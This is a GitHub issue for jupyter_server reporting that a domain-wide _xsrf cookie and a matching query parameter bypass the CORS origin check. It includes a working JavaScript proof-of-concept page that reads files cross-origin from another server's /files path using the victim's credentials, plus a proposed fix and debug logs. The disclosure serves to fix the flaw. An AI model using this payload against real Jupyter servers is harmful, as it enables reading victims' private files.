jupyter_server icon indicating copy to clipboard operation
jupyter_server copied to clipboard

CORS is not checked when browsing files.

Open gogasca opened this issue 5 months ago • 0 comments

Description

When using JupyterLab + jupyter_server an attacker can pass a redirect using _xsrf HTTP param and cookie to bypass CORS checks (c.ServerApp.allow_origin_pat). Using jupyter-server 2.14.2. Redirect provides access to /files path

Reproduce

Scenario:

Jupyter Server 1 (myjupyterserver1.mydomain.com) - Attacker

sudo su
cd /opt/conda/share/jupyter/lab/static
mv index.html index.html.bak
vim index.html

Edit index.html

<html>
<body>
<script>
  var notebook_domain = "" //example: myjupyterserver1.mydomain.com
  var file_path = "/test.txt" // a Local file in c.ServerApp.root_dir
  
  var base_domain = document.domain.substr(document.domain.indexOf('.'));
        document.cookie='_xsrf=1;Domain='+base_domain;
  
  fetch("https://"+notebook_domain+"/files"+file_path+"?_xsrf=1", {mode: "cors", credentials: "include"}).then(response => response.text()).then(text => {console.log(text)});
</script>
</body>
</html>
c.NotebookApp.open_browser = False
c.ServerApp.token = ""
c.ServerApp.password = ""
c.ServerApp.port = 8082
c.ServerApp.allow_remote_access = True
c.ServerApp.root_dir = "/Users/gogasca/Documents"
c.Application.log_level = 0
c.NotebookApp.disable_check_xsrf = False
c.ServerApp.allow_origin_pat = "https:\/\/myjupyterserver2\\.mydomain\\.com"
  • Jupyter Server 2 (myjupyterserver2.mydomain.com)

Attacker gives victim myjupyterserver1.mydomain.com which redirects to himself and bypass CORS checks.

image

Expected behavior

CORS logic is executed.c.ServerApp.allow_origin_pat is verified.

I tried to reproduce with local Jupyter but unable to do so. (local Jupyter 127.0.0.1:8081 and 127.0.0.1:8082), as I think _xsrf=1 cookie is not passed. I reproduced using Jupyter Server behind a Proxy.

Context

  • Operating System and version:
  • Browser and version:
  • Jupyter Server version:

Bug here:

https://github.com/jupyter-server/jupyter_server/blob/main/jupyter_server/base/handlers.py#L537 https://github.com/tornadoweb/tornado/blob/master/tornado/web.py#L1619

Potential fix add check_origin() method. Fix worked in lab. super().check_xsrf_cookie() is calling tornado.

try:
            if not self.check_origin():
                raise web.HTTPError(404)
            return super().check_xsrf_cookie()
...

image

Troubleshoot Output

Request is not blocked even when c.ServerApp.allow_origin_pat is configured correctly.

image

Paste the output from running `jupyter troubleshoot` from the command line here.
You may want to sanitize the paths in the output.
Command Line Output

I added extra debugs:

[D 2024-09-21 04:57:41.338 ServerApp] Generating new user for token-authenticated request: 6d852c7674ce45aca215c16b1e99fd57
[I 2024-09-21 04:57:41.338 ServerApp] Get AuthenticatedFileHandler
[I 2024-09-21 04:57:41.338 ServerApp] check_xsrf_cookie
[D 2024-09-21 04:57:41.338 ServerApp] is_token_authenticated
[D 2024-09-21 04:57:41.338 ServerApp] False
[I 2024-09-21 04:57:41.338 ServerApp] super().check_xsrf_cookie
[D 2024-09-21 04:57:41.339 ServerApp] 200 GET /files/src/localfile.txt?_xsrf=[secret] ([email protected]) 1.91ms
Browser Output
Paste the output from your browser Javascript console here, if applicable.

gogasca avatar Sep 21 '24 06:09 gogasca